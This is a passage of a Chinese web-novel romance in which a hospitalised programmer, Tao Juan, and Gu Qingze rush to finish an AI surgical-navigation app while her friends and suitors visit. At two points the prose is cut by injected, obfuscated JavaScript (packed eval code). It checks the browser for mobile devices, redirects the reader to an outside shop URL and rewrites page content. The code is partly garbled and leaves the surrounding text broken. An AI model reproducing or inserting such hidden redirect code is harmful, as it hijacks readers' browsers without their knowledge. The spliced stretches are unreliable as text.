快到中午时大刘传来喜讯,他摸鱼做完了罗莹分给他那份工,问陶涓再要一份,还说傍晚过来看看她,陶涓连说不用麻烦,大刘坚持,“跟罗莹约好了的!再说了,咱们三剑客自从被开除还没聚过呢!” 沈峤接了个电话,“咱们的餐到了,我去拿,陶小姐你收拾一下,先吃午饭再工作。” 吃过午饭,沈峤放下窗帘,让陶涓睡一会儿。 陶涓还想再追追进度,拿着手机发了几条消息,渐渐睁不开眼皮。也许是午餐后血糖升高了,也许是看到模拟应用有望及时完成更新,从几天前一直绷着的神经终于放松,医院里各种机器的响声,人声再不能对她产生干扰,她很快就睡着,再醒来时已经快下午三点了。 主治医师带着一群实习生走进来,“血检结果出来了,是感染了。” 陶涓听到,感到心脏被猛地一揪到了喉咙,又飘飘悠悠沉下去,“那——”她吞咽一下,哑声问,“瓣膜……我是说,需要手术吗?” “还不能确定呢!”医生放下她的病历,“先给你打上抗生素,继续观察,如果接下来今天能退烧问题就不大。” 那要是低烧一直不退呢? 陶涓没敢再问。沈峤却赶快追着医生跟出去。 她呆了好久,沈峤什么时候回来的都不知道。 沈峤小心翼翼说,“我又问了几个医生,他们都说应该很快会退烧。” 陶涓笑了笑,“对啊,没事!”笑的时候自己都觉得笑容一定很难看。 很想跟曹艺萱说说话,可她现在一定还在试镜。 陶涓坐回床上,又下来,坐到椅子上。 她打开电脑,对着屏幕,硬盘发出的低声嗡嗡让她渐渐收拢心神重新工作,可效率不高,总感到惶惶不安,仿佛自己做错了什么,又似乎即将大祸临头,可既不知道自己做错了什么,又不知道惩罚何时会降下。 强忍着心乱敲了会儿键盘,周测来了。他一步跨过来就把她笔电直接扣上,“都这样了还写程序?你不知道这有多耗神吗?” 沈峤吓了一跳,急忙打圆场,“周医生……” “你又是谁?”周测冷脸打断她,昨天他就瞧见她了,上次顾清泽陪陶涓来复诊,这女孩也在。 沈峤大大方方说,“哦,没来得及自我介绍,我叫沈峤,是太平的员工,现在暂时做陶小姐的助理。” 她说得理直气壮,周测明知这人是顾清泽的鹰犬也不好再说什么,只对陶涓说,“上次你住院我说什么来着?你都忘了?现在确定感染了,还不肯停下来?你怎么就不会好好照顾自己呢?” 陶涓心口剧烈起伏,盛怒之下反倒不想说话。说了又如何?不过是让两个人都不高兴罢了。 她深深呼吸了几次,总算把一口气压下去,再开口时声音还是有点发颤,“沈峤,麻烦你帮我去买盒巧克力。” 沈峤只好暂时离开,可她也不敢走远,站在走廊角落赶快打电话搬救兵:“老板?陶小姐和周医生吵架呢,我拦不住……” 没外人了,周测又说:“工作再重要能有身体重要吗?少了你,天会塌下来吗?真就找不到一个人能替你做这份工?” 陶涓打开笔电检查刚才的工作有没有缓存成功,“对啊,少了你,天会塌下来吗?真就找不到一个人能替你做手术、替你观摩、替你做助手、替你值班?” 她冷冷看周测一眼,果然看到他惊愕的神情,“周测,同样的话我也可以跟你说,但我从来没说过。是,救死扶伤很伟大,心外科医生很伟大,可并不是只有伟大的工作才是一份正经工作,其他人的工作都低你一等。我做的工作也一样是重要的——至少对我来说是重要的!要是你连这一点都不能理解,我们连朋友都做不成。请你离开,我要休息了。” 周测呆立了几秒钟,低头说声“抱歉”转身走了。 陶涓背过身,抓紧床单,可能太用力了,手背上的滞留针一阵疼痛,疼得她眼泪一下就流出来。 这时有人轻轻呼唤她,“陶涓?” 是顾清泽。 她赶紧抹掉眼泪,又不小心碰到手背上的滞留针,疼得“嘶”一声缩起肩膀,可她却说:“我没事。” 这怎么可能是没事,声音都带着哭腔。 顾清泽走到她身后,很想抱抱她,可犹豫一下,只是把手放在她肩上,轻轻抚了抚。 她忽然感到委屈,再也忍不住,含着泪低声问,“为什么我身体这么弱?为什么我抵抗力这么低?抗压能力也不好……晒了晒太阳就病了,一病就感染……”她哽咽,“我已经在很努力地照顾自己了……我……” 顾清泽半蹲下来搂住她,“你确实已经做得很好了。” 她靠在他身上,不停抹泪,“可我还是又住院了,还一直低烧……” “那又怎么样呢?”他抱住她轻轻拍一拍,“你为什么总这样苛责自己?如果我生病了,你会说,你身体怎么这么弱,抵抗力这么低吗?不会。你只会说,先养好,然后我们慢慢来锻炼身体,先打打太极,在公园快走,然后去游泳,等身体更好一点了,还可以举举哑铃,再好一点,没准可以挑战铁人三项!” 这真的很像她会说的话! 陶涓破涕而笑,又立即觉得不好意思,幸好顾清泽及时递给她一沓纸巾,她擦擦眼泪鼻涕,转过脸看着他,忽然眼圈又酸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351684|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小声承认,“我害怕。” 他认真问她,“你都怕什么?” “我怕生病,怕抽血,怕住院,怕打点滴,怕要手术。” 他挑一挑眉,“呵,那我比你厉害多了,我看到护士就怕。就觉得已经有一块酒精棉片在擦我的胳膊。我还怕黑呢。” 陶涓又笑了,可一串眼泪又扑簌簌掉下来,“我是真的害怕。” “害怕也没关系,害怕也很正常。”他又递给她几张纸,顺手把她手里濡湿的纸团接过来,“不过,还没定要手术呢,医生也没说你的瓣膜造影结果有恶化,那手术那份害怕我们先放着,先害怕住院、打点滴、抽血这几份。啊,我语气像你吗?” 她又被逗笑,“像豆包!” 顾清泽也笑了,“那我接住你了吗?” 陶涓团起纸巾擦擦眼泪,忽然感到不好意思,她吸吸鼻子,“你事办完了?” “嗯,办完了。”他笑着站起来,把沈峤坐那张椅子拉过来和她的并排放一起,电脑也挪到自己面前,“告诉我密码。我帮你做。” 过了好半天,电脑自动锁屏了。 陶涓直接给他录了指纹开机权限,顾清泽先大致看了看算法架构,又问目前的进度,“你告诉我接下来的思路,我来写。” 这时她恨不得把他抓过来猛亲两下,但是——绝对不能! “那——那你的工作——”她立即又想到,顾清泽现在可是霸总,每天一堆事呢,全放下帮她写程序? “事有轻重缓急。”他已经开始敲代码了,转过头看看她,“我听沈峤说了是怎么回事。你放心,明天中午一定能完成更新,一定能帮到那个女孩。” 陶涓不知道顾清泽为什么这么有信心,但转念一想,又觉得合情合理,有大刘罗莹帮忙,顾清泽和她能力相当,设计的思路一向很相近,一定能按时完成。 她放下心,讲了讲自己的思路,“最重要的实时影像融合与动态定位……” 温医生所在的医院在鼻综合和颌面正畸手术中使用红外追踪技术,如果能将术前 AI 规划的三维模型与患者在手术中的实时解剖结构融合,医生就能通过AI生成的三维图像导航调整复位器械的角度和力度,更精确地完成复位和重塑,同时最小化对黏膜组织的损伤。 “我明白了。”顾清泽脱掉西服外套挂在椅背上,叫陶涓休息一会儿,“等遇到问题我再叫你。” 陶涓刚躺下,护士拿着输液包进来了,重新给她挂上点滴。 起初她还看顾清泽敲代码,没多久就睁不开眼睛,第一次发觉键盘咔嗒咔嗒的声音非常助眠。 再醒来时已是夕阳时分,她这间病房有些西晒,挂着顾清泽外套的那把椅子被放在窗口,他人不知哪儿去了,电脑也不见了。 再一看,沈峤坐在不远处,正拿着手机打字,一见她醒了,“陶小姐你饿了吗?渴不渴?” 陶涓慢慢坐起来,看到点滴也打完了,手背上又只剩下滞留针,“顾先生呢?” “他去请教申医生一些问题,很快就回来。”沈峤递给她一杯温水,“哦,我们订的餐刚好也来了,我去取一下。” 陶涓找到手机,发现不知何时被静音了,曹艺萱给她发了一连串的消息——试镜成功了!她还和某影帝对戏了! 啊啊啊某影帝好帅,难怪说法拉利老了也是法拉利啊,只要不看F1,法拉利就是地球上最帅的车。 影帝也夸她有灵气。她现在在高铁上了,不过回去得先回公司跟蓝总报道,争取晚上过来看她。 陶涓正微笑着回复,有人敲了敲病房门,抬头一看,竟是雷主任。 雷主任矜持地笑,“别起来,躺着躺着。” 她也习惯性拿起陶涓的病例看了看,话比周测委婉一点,“唉,年轻人不爱惜身体呀……”她走近一些,“转眼小半年没见着你了,脸上倒长了点肉,现在小姑娘们总以瘦为美,哎呀,健健康康的最好。你看申悦明,她就从来不搞减肥那一套,一样好看嘛!” 陶涓真无奈,幸好申悦明不在,不然得尴尬成什么样。 “您说得对,等我出院了,先练练太极,养养气,然后快走慢跑游泳瑜伽都安排上,再接着练举重,您就瞧着吧,没准过几年我还要参加铁人三项呢!”陶涓笑呵呵的,“哎,您吃饭了吗?” 雷主任也笑眯眯的,“刚吃过。在医院食堂吃的。周测和悦明跟我一样,在吃上不挑剔,只讲究营养,特好养活。” 陶涓懒得应付了,呵呵一笑,“好呀!” 雷主任又问了问陶涓的近况,不管陶涓答什么,她总能扯到周测,明里暗里让陶涓跟她儿子划清界,而且似乎认定了申悦明是儿媳妇人选,让人哭笑不得。 正说话时顾清泽来了,他做出点惊讶的样子,“雷主任?” 雷主任是真惊讶,看看他,再看一眼椅背上搭的外套和顾清泽手里抱的电脑,脸上明明白白写着“你们俩什么关系?”只是拘于涵养没问出来,她的笑有些勉强,“顾先生也认识陶涓?哦对,你们都是T大的校友。” 顾清泽把电脑放在床边的小桌上,“嗯,我们从那时候就是挚友。周测没跟您说过吗?” 他从口袋里拿出根吸管,插在陶涓面前的纸杯里,“沈峤还是不够细心。你醒多久了?沈峤去拿饭了?” 陶涓也很好奇,顾清泽怎么跟雷主任认识的? 他打开电脑,问陶涓,“你看这样做行不行?” 他效率很高,在她睡着那段时间补全了她在做的那部分,陶涓又惊喜又欣慰,浏览一下,指出几个可以修改的地方。 顾清泽立刻动手修改,敲了几下键盘似乎才想起来雷主任还杵在这儿呢,跟她解释:“咱们说的跟私立医院合作的AI算法项目,一直就是陶涓主管的,哦,从前方舟做的模拟应用,她也是主设计师——周测没跟您说过吗?” 雷主任再看向陶涓时目光完全变了,即便不是肃然起敬,也是刮目相看,周测还真没跟她细说过陶涓都做什么。安真医院用的AI模拟应用是方舟设计的,这她知道,但她不知道陶涓在其中的作用竟然这么重要。 顾清泽看到雷主任的神情,看向陶涓,毫不掩饰骄傲地微笑道:“我一直觉得,她非常厉害。” 陶涓被他看得脸上发烧,赶紧悄悄把食指上的指脉氧夹拔掉,没想到血氧仪测量不到心跳,“嘟——”地大声尖叫警示。 43.三剑客重聚 也不知道雷主任到底怀着什么心情离开的。 她一走,陶涓立刻问顾清泽,“你怎么认识雷主任的?” “我今天一天都在跟几个医院的领导开会呀……”他说的好像这是件再普通不过的事,继续盯着屏幕专心敲代码。 陶涓笑着推他一把,“到底怎么回事?” 顾清泽这才笑着看她,“之前你跟说要更新应用时,我们讨论过,最难的地方是数据不够,如果能连接公立医院的数据库,就能通过深度学习算法让应用更精确了……” 陶涓默默点头,AI算法的精度需要大量数据支撑,喂给它越多数据,它就会越“聪明”。 “于是我让郑纶联系目前国内使用AI模拟应用的医院,希望能共享数据库,今天开了差不多一天的会,下午终于签字了,今晚零点就能共享数据了。”他停了停,“嗯,简单来说,就是这样。” 简单? 这事可不简单。 能在这么短的时间里做成更不简单。 不仅不简单,几乎难到不可思议。 这几天顾清泽一边要解决顾氏家族在昆士兰的资产问题,处理他叔叔的官司,一边还要联系这些医院,争取尽早共享数据库,即使有大量金钱做润滑,也绝不是件容易的事。 一时间,陶涓百感交集。 他做这件事,比刚才在雷主任面前骄傲、直白地赞赏她更让她动容。 她用力握了握他的手,“我……” 顾清泽看到陶涓眼眶发红,忽然有点莫名害怕,怕她又说出什么感谢的话,于是他抢在她前面说,“我可不是为了你才做这件事的。我是为了——”他咳一声,“为了……” “为了医学昌明,为了造福人类。”陶涓抿唇笑。 他严肃点点头,“嗯。为了造福人类。” 两人四目相对,都不由自主微笑。 陶涓感到,顾清泽悄悄回握住她的手。 他的手温比她还高,既然她一直发着低烧,那么,他是不是也在发烧? 他从前,是对她说谎了吗? 还是,那时并没撒谎,这次重逢后又说了谎? 那她要怎么判断? 她应该更主动吗? 该怎么主动? 脑海里闪现曹艺萱建议的一长串清单,又一项一项打叉否决。游泳……?啊啊啊不行!想到就羞耻!脸红! 陶涓猛地低下头,觉得自己脖子耳朵都烧起来了,她突然间不受控制地想起了半年多前做的那个梦—— “嘀嘀嘀——”血氧监测器又发出警报,她慌乱之下拽掉指夹,又意识到这不是此地无银三百两吗? 正羞窘的时候救星来了! “饭来了!”沈峤拎着两个大袋子走进来,然后才惊觉自己来的不是时候,病房里这两个人之间的气氛十分微妙。 她假装没察觉到什么,放下食物,“我给护士姐姐们送点饮料!”转身又出了病房。 顾清泽看看自己突然被挣脱的手,还有拧着眉头沉思的陶涓,也很迷惑。 她不喜欢他的回应?她为什么突然不再和他握着手了? 还是……她害羞了? 他应该怎么做? “你饿不饿?”陶涓转过头问他,顺手把指夹放一边,若无其事跳下床拿起食盒。 顾清泽接过食物,取出餐具摆好,也若无其事。 两人隔着小桌子坐好,顾清泽忽然又站起来,“等等!” 他绕过床,走到储物柜旁,从花瓶里取出一支兰花,插在一个纸杯里放回小饭桌上,这才重新坐下。 陶涓一下笑了,摸一摸花朵,“现在感觉像在高级餐厅了。” “啊,我怎么没想到……”顾清泽说,“等会儿我让人准备好桌布,明天送餐的时候一起送来。” 陶涓不确定他是在开玩笑还是认真的,只觉得和他在一起,哪怕是在医院病房,也是开心的。 饭快要吃完时罗莹和大刘来了,两人认出顾清泽很是诧异,尤其大刘,愣在原地“啊啊”了几声,“你是——是那个——”罗莹拧了他一把,他绷住嘴。 顾清泽跟他们握手,“我是陶涓的朋友,顾清泽。” 大刘一直呆呆的,倒也没怎么样,罗莹跟他握手时咬着嘴唇一直跟陶涓使眼色。 这时顾清泽手机响了,他接起来说了几句话,跟陶涓说:“我得回太平一趟。晚点再过来。”然后,他跟罗莹大刘致意,“你们先忙,我走了。” 他还没走远,罗莹和大刘就爆炸了,叽里呱啦问了一连串问题—— 你们认识? 怎么认识的? 你知不知道他去年来过方舟啊! 大刘一屁股坐下,抹一把脑门上的汗,“黄霸天要是看到你和他在一起——哈,他非当场大叫你叛徒!叫保安把你当场拿下!” “拿我干嘛?是他说我工作效率低,连续两年KPI评级给我最低档把我给开了!再说他凭什么拿我啊?我又怎么叛徒了?”提起这个鸟人陶涓就来气,“方舟又不是他的!” “方舟不是他的,可是方舟的股票是啊!”大刘摘下眼镜,用衬衫一角擦擦镜片,忍不住幸灾乐祸,“去年太平的两位大佬——哦,就是章公子和顾先生!他们来方舟参观后拒绝融资,这新闻一出方舟的股票就一泻千里,嘿嘿,黄霸天他囤了好多方舟的股票,股价大跌当然损失惨重!你说他能不恨顾先生?要是他诅咒有效,估计顾先生全家连金鱼都得死光了,何况是你!” 他说完,戴上眼镜,被过劳肥挤压成一条缝的眼睛闪动精光,嘿嘿笑一声。 罗莹呲牙,“大刘,收起你的猥琐气场。我晚饭还没吃已经没胃口了。” 陶涓也皱眉,“真的,大刘,你刚才那表情特别猥琐,在新公司先收着点吧,不然新同事们会对你有偏见。” 大刘摸摸脸,“真特别猥琐吗?” 见罗莹和陶涓一起点头,他闷闷掏出电脑,“唉,春风若有怜花意,可否许我再少年……哎呀,算了算了,干正事吧!” 罗莹也取出电脑,三个人对了会儿进度,大刘忽然又叹口气,“我当年也是校草一枚啊……” 陶涓噗嗤笑了。 “你可拉倒吧!”罗莹鄙夷地打量大刘,“我进公司那会儿你就长现在这样了,只不过轻二十公斤,头发也多一丢丢。” 大刘痛得捂住心口。 罗莹还往他伤口狠狠撒盐,嘻嘻一笑,“你是不是对校草这个词有误解?得长成刚才走掉那个人那种水平才能叫校草。”说完又对陶涓挤眉弄眼。 陶涓极力严肃,“时间宝贵,先对一下轴!哦,你俩还没吃饭,叫点外卖?还是咱们一起去医院食堂?” “顾先生已经让我订了,十五分钟后到!”沈峤突然冒出来,不知从哪儿又顺了把椅子,这下他们三个人可以坐在一起开会,陶涓不用坐在病床上。 三剑客合作过很多次,之前的医院项目也是他们一起做的,很快对好进度。 陶涓说今天零点后几个公立医院会共享数据库,罗莹拍手叫好,“那精确度很快就能养起来了。” 大刘沉思片刻问,“方舟知不知道这个事?” 陶涓摇摇头,“他们之前跟安真医院闹起来,远程关停了应用,但是我想很快他们就会知道。” 数据库共享后,其他医院使用的AI模拟应用会很快各自升级,到时方舟的应用还有没有竞争力?会不会促使其他用户效仿安真医院停止续费?甚至和方舟对簿公堂? “这就像看到自己创造的算法慢慢走向死亡。”大刘唏嘘。 没等他再伤感,沈峤提来了食物,饭菜香味让人神一振。罗莹打开餐盒,“是鸭腿饭呀!还有汤!” 陶涓看到大刘罗莹狼吞虎咽,“慢点,不着急。”她心生感伤,她原先也是这样,每次吃饭像在战斗,像有人在背后催促,食物吞下肚立刻返回工位继续工作,有时甚至只能在工位边干边吃,时间一久,肠胃哪里能好? 尽管她这么劝,罗莹大刘还是几分钟结束晚饭,抄起笔电一起干活。 三个人效率极高,很快推完进度,又讨论一会儿,话题逐渐发散,大刘说起方舟近日的情况,原先的小组又有两个人离开。 陶涓算了一下,那就是说现在做技术的还没做行政的人多。这还怎么干活?也难怪方舟一直拖着不升级。 大刘还说,中高层管理乱象比以前还严重,类似黄霸天这种外行空降指导内行的事更多了。 大家感叹一番,陶涓催他们收工散场。明天还要上班呢! 他们走后,她又想起顾清泽跟她说过的“自立门派,抢走方舟的客户”,几个月前还觉得是异想天开,可现在觉得也并不是太遥远的目标。 既然安真医院愿意共享数据库,如果她的模拟应用比方舟的更精准有效,他们会不会愿意改用她的应用? 她认真思考:如果把罗莹大刘招揽过来会怎么样?至少他们能吃个安稳饭。 正胡思乱想,曹艺萱来了。 她满面红光,喜滋滋地拥抱陶涓,身上还带着点酒香味,“我喝了酒,待一会儿就走。” “角色定下来了?” “八九不离十。”说完曹艺萱赶紧手指在唇上一划,她这行是有点迷信的,事成之前不能说定。 陶涓会意,笑着对她举起拇指。 曹艺萱走到床尾,居然也拿起病历看,陶涓笑,“你装什么呢!看得懂吗?” “这叫体验生活!”曹艺萱瞟她一眼,神情一肃,真有几分医生查房时的威严和自信,“23床,今天有没有乖乖休息?” “有!” “那就好。哎?”曹艺萱放下病历,瞄见小桌子上的电脑正在自动输入字符,她走近,半蹲着看了看,转头问陶涓,“你的家养小精灵会敲代码了?” 陶涓笑喷,“什么家养小精灵!” 她解释,敲代码的是顾清泽,她给他开了远程遥控权限。 跟大刘罗莹对过进度后,顾清泽又联系她,在帮她整理架构。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358732|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曹艺萱先是猥琐一笑,接着一脸欣慰拍拍闺蜜肩膀,“你的表情告诉我,他不止帮你敲了代码。” 陶涓脸一红,说了顾清泽促成共享医疗数据库的事,曹艺萱激动得抱着陶涓发出仓鼠尖叫,“这比送一千次花还浪漫!这事可不好做啊!你想想,要联系这些个医院的头头脑脑,说服他们,这得花多少时间?得动用多少人脉?得多早就开始布局啊?钱就更不用说了!啊啊啊我现在就宣布顾清泽同志为革命浪漫主义战士!” 陶涓怔一下,确实。要做成这件事可不是几天的工夫。 顾清泽是从什么时候开始用心的呢? 她仔细追想,大约是她刚接下嘉嘉的委托之后。那时顾清泽就说,如果可以让医院开放数据库就好办了。 啊……他好厉害啊。 “萱萱,我忽然发现自己大局观真不太行。”陶涓很为顾清泽骄傲,同时不免对自己有点失望。要不是曹艺萱提醒,她甚至都没留意他都做了什么。 曹艺萱又去摆弄储物柜上的花束,“说什么呢你!你这大脑,我拍马都跟不上,可要比演戏、唱歌、主持节目,我绝对有自信胜过你!你看,每个人都是独一无二的,各有各的长处短处,你已经够厉害了,为什么总逮着机会就批评自己?” 陶涓想,可不是嘛,今天早些时候,她还自怨自艾,觉得自己身体不够好,稍微一折腾就生病,当时顾清泽怎么说的?他说,她苛责自己。 她又笑了,“我以后一定少批评自己,多鼓励——像朋友一样鼓励自己!” “这才对嘛!”曹艺萱摸摸陶涓脑袋,忽然惆怅地叹口气。 “怎么了?”陶涓察觉出她情绪不对。 曹艺萱在她床边坐下,靠在她肩上,“有一个支持你事业的人——不管是朋友、恋人还是家人——都太难得了。” 陶涓摩挲她后背,给她顺顺气,“男主角?” “嗯。” “他干什么了?” 曹艺萱试镜成功后也告诉他了,可是,他并没祝贺她。 他说,雷导的电影一向有情|欲戏,曹艺萱试的军阀姨太太是双面间谍,一听就知道会和影帝有亲热戏。 “难道我和他恋爱以后就不能再拍亲热戏了?何况现在剧本都还没定下来呢?”曹艺萱长叹一声,“唉呀,不说了。”第一次跟陆扬分手,也是因为她参与拍摄一个广告,其中有和男模特穿着泳衣在沙滩热舞的镜头。 陶涓手一挥,“别听他的啊!”她严肃跟闺蜜说,“这是多好的机会?演电影!哪怕就是个小角色,这都属于事业上的大突破了!男人?男人啥时候没有?这种机会可不是天天有的!我问你,哪个男人需要你陪着吃饭、打麻将、装孙子才能得到?” 曹艺萱猛点头,“对对对!我也是这么想的。明天一早我和蓝总还会坐高铁去天市,这次是试拍一个小片段,和别的演员,也是位老戏骨……” 她说了一会儿拍戏的事,又问陶涓,“要是你和男明星拍吻戏,顾清泽还会支持你的事业吗?” 陶涓没法设想,“可我不是女明星啊。” “也是。”曹艺萱耷拉脑袋,突然又兴奋起来,“要是我们去看魔力麦克,你上台跟肌肉男互动,他会不会发飙?” 陶涓:“……你想得太远了。他还什么都没跟我说呢,怎么你就想到魔力麦克、上台互动了?” “啊?他什么都没说吗?” “没。” “啊?”曹艺萱歪着脑袋看陶涓,“那你肯定也没什么表示喽?” “那肯定呀。” 她都被他当着几个同学的面大声“拒绝”过一次了好嘛!她记性很好的。怎么敢轻易重蹈覆辙?到时顾清泽再一冷脸,跑出病房,用所有医生、护士、护工、病人、病人家属、访客……都能听到的声音说“我不喜欢你!从来没喜欢过你!你别再问我”……她保证她当场用笔电敲开窗户跳出去。 算了,跳窗太吓人了,还是在病床下趴着躲一会儿得了。 曹艺萱抓抓腮帮,“也许……我觉得,很有可能……你们属于此时无声胜有声的类型?你当初和周测是怎么确定的?” “直接说啊,他说,‘陶涓,我喜欢你,你喜欢我吗?’我说‘喜欢啊’,他又问,‘那我能当你男朋友吗?’我说‘好啊’——就这样直接说啊。”陶涓理所当然,反问道:“你和陆扬,还有你那些莺莺燕燕,不是这样吗?” 曹艺萱呆住。 “不是。我们从来不是。”她忽然有点绝望,她两手在空中无意义地比划一下,又放下,想了好一会儿说,“算了,你即兴发挥吧。” 此时无声胜有声。 曹艺萱走了很久后陶涓还在想这句话。 这不是漏雨那天她和顾清泽想起的《琵琶行》中的一句吗? 医院探访时间结束时顾清泽还没来。 他也已经下线。 不久后病房也熄灯了。 陶涓洗漱完毕,忽然想起上一句是“别有幽愁暗恨生”。 44.邀约 陶涓半夜醒来,看到自己电脑还在闪动,顾清泽合着眼睛靠在椅背上,程序跑动时忽闪的光把他的侧脸映得忽明忽暗。 她看看电脑上的时间,已然凌晨三点多了。也不知道顾清泽什么时候来的。 她轻轻下床,摊开自己的毛衣开衫盖在他身上。 医院夜间的空调总是开得很足,她怕他着凉。 她刚转身坐回床上,就听他轻声说:“你怎么醒了?” 她有点懊悔吵醒了他,又有些庆幸他醒了,“你醒了就回家好好休息吧……这几天也不知道你一共睡了几个小时,来回奔波,还劳心劳力,铁打的人也经不起这么折腾。” 他抚摸那件毛衣,也不知是什么毛线做的,毛绒绒像只小狗,暖暖的,似乎还带着她的体温,不由自主就笑了,“我也不怎么累,来的时候看你睡着了,想再跑一遍程序就走,这样你明天早上一醒就能看到整合好的程序了。” 陶涓看着顾清泽,心头像浇了一勺温热粘稠的糖浆,“你这个傻瓜,难道你就找不到一个程序员能替你做这份工吗?非要你才能做吗?我才不信你不累。” 他拎起那件毛衣,给她披在肩上,“真要找当然是能找到的,可我自己做才放心。再说,你能放心把算法核心给顺便一个我临时找来的人看,还让人修改吗?” 他突然怔住,然后笑了,“我们在波士顿备赛的时候,你也只给我开了代码仓库的权限,现在都给我开远程遥控权限了……” 陶涓脑子里“嗡”的一声,是啊……她完全没有犹豫,想都没想,就给他开了权限。 这对普通人可能没什么特殊意义,但对于一个程序员,这意味着什么?意味着把自己的核心阵地、屠龙之技、精神领域完全向对方开放。 她尽量让自己平稳地呼吸,可心脏还是不听话地乱跳,像有一只小动物取代了她的心脏在胸腔里乱蹦乱跳,她无意识地按住心口后,猛然恍悟,原来,她以为是“心悸”的感受,可能是心动! 血氧监测器再次发出急促的嘀嘀嘀声,在夜间病房格外刺耳,一个护士飞奔过来问陶涓,“你有哪里不舒服吗?” 陶涓懵懵摇头,“没有,没有不舒服。” 顾清泽扶她躺回病床,拉好被子,还有点不放心,用手背轻轻贴她额头,“护士,她好像有点发烧。” “没发烧!”陶涓赶紧申明,“我就是睡得有点热才醒了。” 护士尽职尽责,量了体温,又看了看监测器,“心跳有点快。应该没问题。” 护士走后,顾清泽问她,“你怎么突然心跳那么快?” 幸好夜间病房没开大灯! 陶涓在昏暗的床头灯下狡辩:“我是真的病糊涂了,怎么给你开了全授权——谁受得了这种刺激啊!” “那你要收回去吗?”顾清泽低头去看电脑屏幕,看了两眼,又偷偷看她一眼。 曹艺萱说的真没错,顾先生张了双桃花眼。明明微带怒气,可斜睨她时那点怒气又觉深情。这大约就是即嗔视而有情。 色令智昏,陶涓立刻摇头,不假思索说:“我怎么可能那么小气呢?这样,你也给我你的全部授权,大家就算扯平了!” 顾清泽轻笑了一声,似乎没觉得她是在开玩笑,认真说:“行,明天我带我电脑来,也给你录指纹,给你全授权。” 轰—— 他这句话在她心里投了颗粉红炸弹,不用监测器再次尖叫,陶涓都能感到自己这时心动过速。 那只小动物一定是头猎豹。 她的手藏在被子下面,用力按住左胸,怕那头狂奔的小猎豹跳出来,缓了缓才说,“那怎么行?我开玩笑的。你那些基金、股票、债权什么的,不小心点了确认就是几亿的交易额——比我的电脑重要多了……” “没关系。”他打断她,又重复一次,“没关系。我信任你。” 陶涓这时恨不得对那头小猎豹大吼“你别跑了!停一停吧!”她快受不了啦! 这么激动还怎么可能再睡得着? 把顾清泽赶回家之后,陶涓躺在床上,久久不能入睡。他说那几句话的情景不受控制地在她脑内反复重播,又忍不住推测,他到底是什么意思?他不会觉得这样太暧昧了吗?他说这些话的时候,心里想的什么? 她第一次知道原来心理活动也会非常消耗体力。 第二天医生巡房时她才勉强醒来,看到床头已经放着装早餐的保温盒。沈峤给她微信留言,说去给护士们买点零食,去去就回。 这几天护士们大约也都知道她和周测分手了,沈峤担心人家会怠慢陶涓,因此格外殷勤。 再看曹艺萱的消息,给她发了张穿了化好妆的戏服照,应该是在拍间谍姨太太被抓捕后的戏份,头发蓬乱,衣服和脸上都是血痕。 陶涓连发三个叹号:这下真是大无畏革命主义者了。 九点多时顾清泽还没来。 陶涓这才发现自己一直在翘首盼望他出现,不由问自己,这是干什么?怎么能让另一个人如此牵动、拨乱自己的情绪? 正在做自我批评,忽然手机一震,她赶紧拿起来,是顾清泽。他说要晚点来医院,正在和温医生做最后的调试。一切顺利的话,中午就可以做手术。 陶涓又惊又喜,他们的努力没白费。 她赶快把这个消息发给申悦明,又在群里吼了一嗓子,田田立刻回答:我等会儿会去医院,你能来吗? 陶涓犹豫。她看看自己的点滴包,还有一大半药水呢,拍了张照片:可能来不及。 申悦明这时回复:太好了!我马上要进手术室,希望我出来的时候能有好消息。 放下手机,陶涓盯着点滴包,正百无聊赖时有人敲了敲病房门框,她抬头,有些意外,来的竟然是消失了好一阵的楚舰。 她忙挤出笑容,正襟危坐,招呼他坐下。 楚舰带了束向日葵,“昨天来北市,和秀钟谈一个度假村项目,这才知道你病了。怎么样?还好吗?” 陶涓讪讪笑:“还行。” 自从三月份电影票房过五十亿的庆功宴后,楚舰就不再频繁联系陶涓了,她还以为他知难而退了——不,不,不——怎么能这么说?人家这么大个老板,黄金单身汉,退什么退?只能是见她木讷无趣不再理会她而已。 谁承想今天他又来了。 陶涓一边支应,一边紧急呼叫沈峤:快来快来!有客人!帮我应付一下呀! 可沈峤不知被什么事绊住了,半天没有回应,陶涓的客套话已经说完了一遍,眼看要重复了,楚舰忽然说:“每次要拿出全副精神应付我,很累吧?” 陶涓一愣,尴尬地摇头,“呵呵,怎么会……” 楚舰叹气,“其实……我一直觉得有些遗憾……” 他真诚地看着她,“如果我们不是在相亲的场合遇到,如果是在校园里,或者什么更浪漫的地方相遇,结果也许就不一样?” 这问题曹艺萱也和陶涓讨论过,当时她也这么认为,可现在回过头看,她有了不同的答案。 “我一直想知道,你条件这么好,为什么会对我另眼相看呢?”陶涓指指自己,平静地说,“我年过三十,没有稳定体面的工作,身体也不怎么好,家庭条件也很一般,不管是相亲的那天,还是平时,我相信一定有很多更优秀的女孩追求你……” 楚舰也很坦率,或者说直接,“二十几岁的年轻女孩确实有她们的魅力,可是和她们谈话,往往很难找到相同的话题,谈话的深度也浮于表面,她们想要的婚姻生活,和我们这个年纪想要的,也差别很大。更重要的是,我们是校友,家庭环境也相似,还是同乡,各自有事业追求,年貌相当,我至今认为,你是我所见过的这些对象中,和我最合适的。但是……很显然你有了更好的选择。” 